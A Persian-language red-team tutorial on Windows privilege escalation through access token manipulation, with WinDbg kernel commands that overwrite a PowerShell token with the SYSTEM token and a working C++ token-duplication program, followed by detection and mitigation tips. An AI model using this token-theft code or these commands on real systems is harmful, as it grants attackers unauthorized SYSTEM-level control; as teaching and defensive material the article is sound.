VulnCity

Privilege Escalation با استفاده از Access Token Manipulation

نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۴/۱۹

Privilege Escalation در ویندوز با استفاده از Access Token Manipulation

مقدمه

یکی از تکنیک‌های کلاسیک و در عین حال بسیار مؤثر در حوزه Post-Exploitation روی سیستم‌عامل ویندوز، دستکاری Access Token پردازش‌ها است.

این تکنیک به مهاجم (یا در نقش تیم قرمز، به تست‌کننده نفوذ) اجازه می‌دهد بدون نیاز به بهره‌برداری از یک آسیب‌پذیری در کرنل، سطح دسترسی خود را از یک کاربر عادی به سطح SYSTEM یا هر کاربر دیگری با دسترسی بالاتر ارتقا دهد.

هدف این مقاله صرفاً آموزشی و در راستای درک مکانیزم‌های دفاعی و تست نفوذ مجاز (Authorized Penetration Testing) است.

بخش اول: پیش‌نیاز معماری ویندوز

برای درک Privilege Escalation، نیازی به دانستن کل معماری ویندوز نیست؛ فقط باید بدانیم عملیات ما در کجای این معماری اتفاق می‌افتد.


OS
 └── Library
      └── DLL
           ├── User32.dll
           ├── shell32.dll
           ├── kernel32.dll
           └── ntdll.dll
        

هر DLL مجموعه‌ای از Windows API Calls (WAC) را در اختیار برنامه‌نویس قرار می‌دهد.

پردازش، فقط یک ساختار داده است

نکته کلیدی این است که یک پردازش در سطح کرنل چیزی جز یک ساختار داده نیست.

  • در User Mode به آن Process گفته می‌شود.
  • در Kernel Mode معادل آن ساختار _EPROCESS است.
  • توکن پردازش با ساختار _TOKEN نمایش داده می‌شود.

بررسی ساختارها با WinDbg


File ▸ Attach to Kernel ▸ OK
dt _eprocess
dt _token
dt _SEP_TOKEN_PRIVILEGES
        

بخش دوم: مفاهیم پایه Token

مفهوم توضیح
Process Token نمایانگر Security Context یک پردازش است.
System Process پردازش با PID برابر ۴ و بالاترین سطح دسترسی.
EPROCESS Structure ساختار داخلی نگهدارنده متادیتای پردازش.
Base Address آدرس شروع ساختار EPROCESS.
Token Offset فاصله فیلد توکن نسبت به ابتدای EPROCESS.

بخش سوم: Token Access Manipulation

گام ۱: مشاهده وضعیت اولیه

یک نشست PowerShell باز کرده و کاربر جاری بررسی می‌شود.

گام ۲: بررسی پردازش System

!process 4 1

از خروجی این دستور، Base Address و فیلد Token استخراج می‌شود.

گام ۳: بررسی PowerShell هدف

!process BFC 1

گام ۴: جایگزینی توکن


eq [PowerShell Token Address] [System Token Address]
        

این عملیات باعث می‌شود پردازش PowerShell با سطح دسترسی System اجرا شود.

بخش چهارم: Token Privilege Manipulation

در این روش، به‌جای سرقت کل توکن، Privilegeهای داخل توکن پردازش جاری تغییر داده می‌شوند.

بخش پنجم: نمونه کد


#include <windows.h>
#include <iostream>
int main(int argc, char* argv[]) {
    char a;
    HANDLE processHandle;
    HANDLE tokenHandle = NULL;
    HANDLE duplicateTokenHandle = NULL;
    STARTUPINFO startupInfo;
    PROCESS_INFORMATION processInformation;
    DWORD PID_TO_IMPERSONATE = 3456;
    wchar_t cmdline[] = L"E:\\nooranet.cmd";
    ZeroMemory(&startupInfo,sizeof(STARTUPINFO));
    ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
    startupInfo.cb = sizeof(STARTUPINFO);
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID_TO_IMPERSONATE);
    OpenProcessToken(processHandle, TOKEN_ALL_ACCESS, &tokenHandle);
    DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
    CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE,NULL, cmdline, 0, NULL, NULL, &startupInfo, &processInformation);
    std::cin >> a;
    return 0;
}

تحلیل مرحله به مرحله

تابع نقش
OpenProcess دریافت Handle پردازش هدف
OpenProcessToken دریافت توکن پردازش هدف
DuplicateTokenEx ایجاد کپی از توکن
CreateProcessWithTokenW اجرای پردازش جدید با توکن جدید

بخش ششم: شناسایی و مقابله

  • پایش فراخوانی APIهای حساس
  • پیاده‌سازی اصل Least Privilege
  • جداسازی حساب‌های سرویس
  • فعال‌سازی Credential Guard و PPL
  • رصد ابزارهای Debug
  • استفاده از Application Whitelisting

جمع‌بندی

دستکاری Access Token یکی از مهم‌ترین تکنیک‌های Privilege Escalation در ویندوز است و درک عمیق آن برای تیم‌های قرمز و آبی اهمیت زیادی دارد.